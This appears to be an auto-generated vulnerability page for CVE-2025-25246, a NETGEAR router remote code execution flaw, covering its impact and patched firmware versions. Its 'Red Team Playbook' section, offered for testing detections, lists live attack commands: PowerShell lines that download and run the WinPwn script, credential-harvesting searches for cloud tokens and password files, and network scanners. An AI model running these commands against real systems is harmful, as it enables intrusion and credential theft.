CVE-2025-25246
Overview
This vulnerability is a remote code execution flaw caused by improper input validation leading to unsafe code execution in the firmware of NETGEAR XR1000, XR1000v2, and XR500 routers. The affected component improperly handles unauthenticated network requests, allowing execution of arbitrary commands without privilege checks. The root cause lies in insecure processing of specific network service interfaces within the device's management subsystem.
Vulnerability Description
NETGEAR XR1000 before 1.0.0.74, XR1000v2 before 1.1.0.22, and XR500 before 2.3.2.134 allow remote code execution by unauthenticated users.
Impact
An unauthenticated remote attacker can execute arbitrary code on the affected NETGEAR routers, potentially taking full control of the device. This enables actions such as installing persistent malware, intercepting or modifying network traffic, and disrupting network services. Exploitation requires only network access to the device, with no user interaction or credentials needed, as indicated by CVSS vector AV:N/PR:N/UI:N. The high confidentiality, integrity, and availability impacts (C:H/I:H/A:H) reflect the critical nature of this vulnerability in operational environments.
Solution
NETGEAR has released firmware updates addressing this vulnerability: XR1000 version 1.0.0.74 or later, XR1000v2 version 1.1.0.22 or later, and XR500 version 2.3.2.134 or later. Administrators should apply these updates promptly to mitigate the risk. Detailed patch instructions and advisory information are available at NETGEAR's security advisory page (https://kb.netgear.com/000066558), which also provides guidance on verifying firmware versions and update procedures.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in specific NETGEAR router models allows remote code execution by unauthenticated users, posing a significant risk to the integrity and confidentiality of networked systems. This flaw arises from improper validation of user inputs, enabling attackers to send crafted requests that the router processes without sufficient authentication checks. The lack of stringent access controls means that an adversary can exploit this weakness to execute arbitrary code on the device, potentially leading to full administrative control over the router. This could allow the attacker to manipulate network traffic, intercept sensitive information, or even pivot to other devices within the network.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker could leverage various methods, such as sending specially crafted HTTP requests to the device's web interface or exploiting known protocols that the router supports. Given that the vulnerability permits exploitation by unauthenticated users, even those without advanced technical skills could potentially launch an attack. Scenarios could include remote attackers scanning for vulnerable devices on the internet and executing payloads that compromise the router, leading to a cascade of security breaches across connected devices. The ease of access to these routers, often deployed in home and small business environments, amplifies the threat landscape.
The real-world impact of this vulnerability is substantial, particularly for small businesses and home users who may lack robust cybersecurity measures. Successful exploitation could lead to unauthorized access to sensitive data, including personal information, financial records, and proprietary business data. Furthermore, compromised routers can be used as launchpads for further attacks, such as Distributed Denial of Service (DDoS) attacks against other networks or as part of a botnet. The potential for reputational damage and financial loss is significant, as organizations may face regulatory scrutiny and legal ramifications following a breach. The risk extends beyond the immediate victim, as compromised devices can be leveraged to target other users within the same network or even across the internet.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating router firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, enabling quicker incident response. Additionally, employing network segmentation can limit the impact of a compromised device by isolating critical systems from less secure ones. Organizations should also consider implementing intrusion detection systems (IDS) to monitor for malicious activity and establish strict access controls to prevent unauthorized users from gaining access to sensitive network resources.
In conclusion, the vulnerability present in certain NETGEAR routers represents a critical threat that requires immediate attention. The potential for remote code execution by unauthenticated users poses significant risks to both individual users and organizations alike. By understanding the technical details, recognizing the attack vectors, and implementing effective detection and mitigation strategies, stakeholders can better protect their networks from exploitation. As the threat landscape continues to evolve, proactive measures and a commitment to cybersecurity best practices will be essential in safeguarding against such vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-25246 |
| kb.netgear.com |
GitHub CVE
|
https://kb.netgear.com/000066558/Security-Advisory-for-Unauthenticated-RCE-on-Some-WiFi-Routers-PSV-2023-0039 |